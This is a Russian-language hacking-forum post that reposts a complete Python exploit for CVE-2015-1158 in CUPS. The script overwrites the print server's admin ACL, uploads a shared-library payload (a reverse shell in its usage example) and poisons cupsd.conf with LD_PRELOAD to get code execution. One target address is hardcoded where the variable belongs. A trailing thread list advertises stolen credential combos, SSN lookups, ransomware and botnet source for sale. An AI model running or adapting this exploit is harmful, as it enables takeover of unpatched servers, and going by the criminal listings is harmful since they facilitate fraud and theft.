CUPS Remote Code Execution exploit (CVE-2015-1158)

  • Автор темы pw0ned
  • Дата начала
P

pw0ned

Original poster
Код:
'#!/usr/bin/python 
# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution 
# Google Dork: n/a 
# Date: 2/2/17 
# Exploit Author: @0x00string 
# Vendor Homepage: cups.org 
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2 
# Version: <2.0.3 
# Tested on: Ubuntu 14/15 
# CVE : CVE-2015-1158 
import os, re, socket, random, time, getopt, sys 
from socket import * 
from struct import * 
 
def banner(): 
print ''' 
lol ty google 
0000000000000 
0000000000000000000 00 
00000000000000000000000000000 
0000000000000000000000000000000 
000000000 0000000000 
00000000 0000000000 
0000000 000000000000 
0000000 000000000000000 
000000 000000000 000000 
0000000 000000000 000000 
000000 000000000 000000 
000000 000000000 000000 
000000 00000000 000000 
000000 000000000 000000 
0000000 000000000 0000000 
000000 000000000 000000 
0000000000000000 0000000 
0000000000000 0000000 
00000000000 00000000 
00000000000 000000000 
0000000000000000000000000000000 
00000000000000000000000000000 
000 0000000000000000000 
0000000000000 
@0x00string 
github.com/0x00string/oldays/CVE-2015-1158.py 
''' 
 
def usage (): 
print ("python script.py <args>\n" 
" -h, --help: Show this message\n" 
" -a, --rhost: Target IP address\n" 
" -b, --rport: Target IPP service port\n" 
" -c, --lib /path/to/payload.so\n" 
" -f, --stomp-only Only stomp the ACL (no postex)\n" 
"\n" 
"Examples:\n" 
"python script.py -a 10.10.10.10 -b 631 -f\n" 
"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n") 
exit() 
 
def pretty (t, m): 
if (t is "+"): 
print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n", 
elif (t is "-"): 
print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n", 
elif (t is "*"): 
print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n", 
elif (t is "!"): 
print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n", 
 
def createDump (input): 
d, b, h = '', [], [] 
u = list(input) 
for e in u: 
h.append(e.encode("hex")) 
if e == '0x0': 
b.append('0') 
elif 30 > ord(e) or ord(e) > 128: 
b.append('.') 
elif 30 < ord(e) or ord(e) < 128: 
b.append(e) 
 
i = 0 
while i < len(h): 
if (len(h) - i ) >= 16: 
d += ' '.join(h[i:i+16]) 
d += " " 
d += ' '.join(b[i:i+16]) 
d += "\n" 
i = i + 16 
else: 
d += ' '.join(h[i:(len(h) - 0 )]) 
pad = len(' '.join(h[i:(len(h) - 0 )])) 
d += ' ' * (56 - pad) 
d += ' '.join(b[i:(len(h) - 0 )]) 
d += "\n" 
i = i + len(h) 
 
return d 
 
class tcpsock: 
def __init__(self, sock=None): 
if sock is None: 
self.sock = socket( 
AF_INET, SOCK_STREAM) 
self.sock.settimeout(30) 
else: 
self.sock = sock 
def connect(self, host, port): 
self.sock.connect((host, int(port))) 
def tx(self, msg): 
self.sock.send(msg) 
def rx(self): 
tmp = self.sock.recv(1024) 
msg = "" 
while tmp: 
msg += tmp 
tmp = self.sock.recv(1024) 
return msg 
 
def txrx (ip, port, proto, txpacket): 
if (proto is "tcp"): 
sock = tcpsock() 
elif (proto is "udp"): 
sock = udpsock() 
else: 
return None 
sock.connect(ip, port) 
sock.tx(txpacket) 
rxpacket = sock.rx() 
return rxpacket 
 
def locatePrinters(rhost, rport="631"): 
request = ( "GET /printers HTTP/1.1\x0d\x0a" 
"Host: " + rhost + ":" + rport + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"\x0d\x0a") 
response = txrx(rhost, int(rport), "tcp", request) 
if response is not None: 
m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response) 
if m is not None: 
printer = m.group(1) 
pretty("+","printer found: " + printer) 
else: 
pretty("-","no printers") 
exit(1) 
return printer 
 
def preparePayload(libpath): 
with open(libpath, 'rb') as f: 
payload = f.read() 
if payload is not None: 
pretty("*","Payload:\n" + createDump(payload)) 
else: 
pretty("-","something went wrong") 
usage() 
return payload 
 
def seedTarget(rhost, rport, printer, payload): 
i = random.randint(1,3) 
reqid = str(pack(">i",(i+2))) 
reqid2 = str(pack(">i",(i+3))) 
printer_uri = "ipp://" + rhost + ":" + str(rport) + printer 
 
create_job_packet = ("\x02\x00" 
"\x00\x05"+ 
reqid+ 
"\x01" 
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8" 
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us" 
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri + 
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root" 
"\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib" 
"\x02" 
"\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01" 
"\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03" 
"\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30" 
"\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite" 
"\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32" 
"\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none" 
"\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01" 
"\x03") 
pretty("*","Sending createJob") 
 
http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a" 
"Content-Type: application/ipp\x0d\x0a" 
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a" 
"\x0d\x0a") 
 
createJobRequest = http_header1 + create_job_packet 
blah = txrx(rhost,int(rport),"tcp",createJobRequest) 
if blah is not None: 
m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah) 
if m is not None: 
jobid = m.group(1) 
else: 
pretty("-","something went wrong"); 
exit() 
 
pretty("*","\n" + createDump(blah) + "\n") 
pretty("*", "Sending sendJob") 
 
send_document_packet = ("\x02\x00" 
"\x00\x06"+ 
reqid2+ 
"\x01" 
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8" 
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us" 
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri + 
"\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) + 
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root" 
"\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib" 
"\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream" 
"\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01" 
"\x03"+ 
payload) 
 
http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a" 
"Content-Type: application/ipp\x0d\x0a" 
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a" 
"\x0d\x0a") 
 
sendJobRequest = http_header2 + send_document_packet 
blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest) 
pretty("*","\n" + createDump(blah) + "\n") 
pretty("*","job id: " + jobid) 
return jobid 
 
def stompACL(rhost, rport, printer): 
i = random.randint(1,1024) 
printer_url = "ipp://" + rhost + ":" + rport + printer 
 
admin_stomp = ("\x02\x00" # vers 2.0 
"\x00\x05"+ # op id: Create Job (0x0005) 
str(pack(">i",(i+1)))+ 
"\x01" # op attributes marker 
"\x47" # charset 
"\x00\x12" # name len: 18 
"attributes-charset" 
"\x00\x08" # val len: 8 
"us-ascii" 
"\x48" # natural language 
"\x00\x1b" # name len: 27 
"attributes-natural-language" 
"\x00\x06" # val len: 6 
"/admin" 
"\x45" # printer-uri 
"\x00\x0b" # name len 11 
"printer-uri" + 
str(pack(">h", len(printer_url))) + printer_url + 
"\x42" # name without lang 
"\x00\x14" # name len: 20 
"requesting-user-name" 
"\x00\x06" # val len: 6 
"/admin" 
"\x02" # job attrs marker 
"\x21" # integer 
"\x00\x06" # name len: 6 
"copies" 
"\x00\x04" # val len: 4 
"\x00\x00\x00\x01" # 1 
"\x42" # name w/o lang 
"\x00\x19" # name len: 25 
"job-originating-host-name" 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x36" # nwl 
"\x00\x00" # name len: 0 
"\x00\x16" # val len: 22 
"\x00\x06" # length 
"/admin" 
"\x00\x0c" 
"BBBBBBBBBBBB" 
"\x03") # end of attributes 
 
conf_stomp = ("\x02\x00" # vers 2.0 
"\x00\x05"+ # op id: Create Job (0x0005) 
str(pack(">i",(i+2)))+ 
"\x01" # op attributes marker 
"\x47" # charset 
"\x00\x12" # name len: 18 
"attributes-charset" 
"\x00\x08" # val len: 8 
"us-ascii" 
"\x48" # natural language 
"\x00\x1b" # name len: 27 
"attributes-natural-language" 
"\x00\x0b" # val len: 11 
"/admin/conf" 
"\x45" # printer-uri 
"\x00\x0b" # name len 11 
"printer-uri" + 
str(pack(">h", len(printer_url))) + printer_url + 
"\x42" # name without lang 
"\x00\x14" # name len: 20 
"requesting-user-name" 
"\x00\x0b" # val len: 11 
"/admin/conf" 
"\x02" # job attrs marker 
"\x21" # integer 
"\x00\x06" # name len: 6 
"copies" 
"\x00\x04" # val len: 4 
"\x00\x00\x00\x01" # 1 
"\x42" # name w/o lang 
"\x00\x19" # name len: 25 
"job-originating-host-name" 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x42" # nwol 
"\x00\x00" # name len: 0 
"\x00\x0c" # val len: 12 
"AAAAAAAAAAAA" 
"\x36" # nwl 
"\x00\x00" # name len: 0 
"\x00\x1b" # val len: 27 
"\x00\x0b" # length 
"/admin/conf" 
"\x00\x0c" 
"BBBBBBBBBBBB" 
"\x03") # end of attributes 
 
http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a" 
"Content-Type: application/ipp\x0d\x0a" 
"Host: " + rhost + ":" + rport + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a" 
"\x0d\x0a") 
 
http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a" 
"Content-Type: application/ipp\x0d\x0a" 
"Host: " + rhost + ":" + rport + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a" 
"\x0d\x0a") 
 
pretty("*","stomping ACL") 
pretty("*",">:\n" + createDump(http_header1 + admin_stomp)) 
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp))) 
time.sleep(1) 
pretty("*",">:\n" + createDump(http_header2 + conf_stomp)) 
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp))) 
 
http_header_check = ("GET /admin HTTP/1.1\x0d\x0a" 
"Host: " + rhost + ":" + rport + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"\x0d\x0a") 
pretty("*","checking /admin") 
pretty("*",">:\n" + createDump(http_header_check)) 
res = txrx(rhost,rport,"tcp",http_header_check) 
pretty("*","<:\n" + createDump(res)) 
m = re.search('200 OK', res) 
if m is not None: 
pretty("+","ACL stomp successful") 
else: 
pretty("-","exploit failed") 
exit(1) 
 
 
def getConfig(rhost, rport): 
i = random.randint(1,1024) 
original_config = "" 
http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a" 
"Host: " + rhost + ":" + rport + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Close\x0d\x0a" 
"\x0d\x0a") 
 
pretty("*","grabbing configuration file....") 
res = txrx(rhost,rport,"tcp",http_request) 
res_array = res.split("\x0d\x0a\x0d\x0a") 
original_config = res_array[1] 
pretty("*","config:\n" + original_config + "\n") 
return original_config 
 
def putConfig(rhost, rport, config): 
http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a" 
"Content-Type: application/ipp\x0d\x0a" 
"Host: " + rhost + ":" + rport + "\x0d\x0a" 
"User-Agent: CUPS/2.0.2\x0d\x0a" 
"Connection: Keep-Alive\x0d\x0a" 
"Content-Length: " + str(len(config)) + "\x0d\x0a" 
"\x0d\x0a") 
pretty("*","overwriting config...") 
pretty("*",">:\n" + createDump(http_request + config)) 
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config))) 
 
def poisonConfig(config, name): 
config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a" 
return config 
 
def main(): 
rhost = None; 
noshell = None; 
options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',]) 
for opt, arg in options: 
if opt in ('-h', '--help'): 
usage() 
elif opt in ('-a','--rhost'): 
rhost = arg; 
elif opt in ('-b','--rport'): 
rport = arg; 
elif opt in ('-c','--lib'): 
libpath = arg; 
elif opt in ('-f','--stomp-only'): 
noshell = 1; 
banner() 
if rhost is None or rport is None: 
usage() 
pretty("*","locate available printer") 
printer = locatePrinters(rhost, rport) 
pretty("*","stomp ACL") 
stompACL(rhost, rport, printer) 
if (noshell is not None): 
pretty("*","fin") 
exit(0) 
pretty("*","prepare payload") 
payload = preparePayload(libpath) 
pretty("*","spray payload") 
jobid = seedTarget(rhost, rport, printer, payload) 
pretty("*","grab original config") 
OG_config = getConfig(rhost, rport) 
pretty("*","generate poison config") 
evil_config = poisonConfig(OG_config, jobid) 
pretty("*","upload poison config") 
putConfig(rhost, rport, evil_config) 
pretty("*","fin") 
exit(0); 
 
if __name__ == "__main__": 
main() 
 
'
 
Название темы
Автор Заголовок Раздел Ответы Дата
D Office CVE-2021-40444 remote code execution native builder Продажа софта 0
GhosTM@n Интересно Prima FlexAir Access Control 2.3.38 - Remote Code Execution Полезные статьи 0
GhosTM@n Интересно Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC) Полезные статьи 0
Admin Lepton CMS v2.2.2 - Remote Code Execution Уязвимости и взлом 0
Emilio_Gaviriya Статья Code Injection. Вирусология 0
N MIX COMBO MAIL PASS FRESH №1✔️ FACEBOOK ADS CODE 8 ACCESS GOOD Раздача email 0
N Valid COMBO MAIL PASS FRESH №1✔️USA FACEBOOK ACCESS ADS+ CODE 8 Раздача email 0
N MIX GOOD FACEBOOK ACCESS ADS CODE 8 Раздача email 0
N Zabugor 1ML 400K FACEBOOK ADS CODE 8 ДЛЯ ДОСТУПА К GOOD TELEGRAM Emails_1 Раздача email 1
N Zabugor 1 ML BASE HOTMAIL FACEBOOK ADS +CODE 8 Раздача email 0
N MIX FACEBOOK ACCESS ADS CODE 8 Раздача email 0
N MIX 1 ML FACEBOOK ADS CODE 8 SHOP BASE MIX Раздача email 0
N MIX FACEBOOK ADS CODE 8 ACCESS Раздача email 0
R Закрыто Пробив по USA ssn/dob/name/zip code/telephone/ Пробив информации/Прозвоны 2
B Проверено [SELL] Исходный код [code sorces] :: Cryptolocker offline ver. :: C++ WinAPI Продажа софта 1
Clarence Anubis-Banking-Botnet 8.0 Source Code!!! Spam/DDOS/Malware 2
K Продам casino script Goldsvet 7.3 NULLED. SOURCE CODE Сайты/Хостинг/Сервера 8
NickelBlack LiteHTTP Botnet | Loader | Panel + Builder & Source Code С/C++ 4
CMDfromBAT [Розыгрыш] CobianRAT v.1.0.40.7 + SOURCE CODE [Завершено] Розыгрыши 1
АнАлЬнАя ЧуПаКаБрА Ebay BruteForce [AS-CODE] Бруты/Парсеры/Чекеры 5
H HTML and Javascript Teacher - Code examples in HTML and Javascript. Другие ЯП 0

Название темы